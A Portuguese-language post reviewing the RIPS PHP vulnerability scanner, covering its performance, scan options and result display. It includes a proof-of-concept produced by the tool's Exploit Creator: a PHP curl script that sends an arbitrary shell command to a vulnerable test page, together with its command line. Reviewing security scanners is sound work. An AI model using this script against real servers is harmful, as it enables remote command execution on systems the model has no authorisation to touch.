Fiz alguns testes na ferramenta, ele se comportou bem, inclusive com sistema de porte maior.
Analisei com aplicações entre 1 e 1200 arquivos, acima de 100 achei performance um pouco degradada, testei em uma maquina core i5/6GB, o Rips faz o httpd consumir cerca de 25% de processamento.
São vários níveis de scaneamento e é possível escolher a varredura Server side e Client, além de ser possível procurar por falhas especificas
O que achei bem interessante, foi que ele mostra em tempo real qual arquivo esta sendo scaneado, a quantidade de arquivos scaneados/total, número da linha e uma estimativa de término. Esta estimativa não funciona muito bem, mas já ajuda.
O modo como a falha é exibida é bem intuitiva, com links e referências para funções, além de sugerir as devidas correções.
O Exploit Creator funciona, porém, ele se perde em relação a utilização de sub-diretórios. Como podem ver na imagem, o campo url não é preenchido como deveria. A alteração pode ser feita nesta tela mesmo ou no código fonte depois que o exploit é gerado.
Neste caso, é solicitado um valor para a variável "a", que seria o comando a ser executado, o exploit gerado ficaria, vamos dizer, "engessado", mas como é php, as alterações para torna-lo funcional são simples.
Depois do Poc gerado, pasta alterar o comando da var "a" por $argv[2] ou caso vá usa-lo via web, $_GET['cmd']
Segue um exemplo:
<?php
#
# t.php curl exploit
#
//
// HTTP GET,
//
$target = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/t.php?a=$argv[2]");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "DcLabs)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>
A linha de comand para execução seria assim:
php -q exploit.php localhost/teste/ <comando>
Ou caso o path tenha sido ajustado antes da criação do exploit:
php -q exploit.php localhost <comando>
Para utilização do exploit é necessário habilitar a extensão curl no php.ini
extension=php_bz2.dll
extension=php_curl.dll
;extension=php_dba.dll
extension=php_mbstring.dll
extension=php_exif.dll
Em sistemas com numero maior de arquivos a serem analisados é necessário alterar o parâmetro memory_limit também no php.ini.
Evidentemente que isso vai depender da quantidade de memória da máquina onde o rips está sendo executado.
Bom pessoal, foi uma analise bem superficial mesmo, caso eu tenha novidades posto novamente.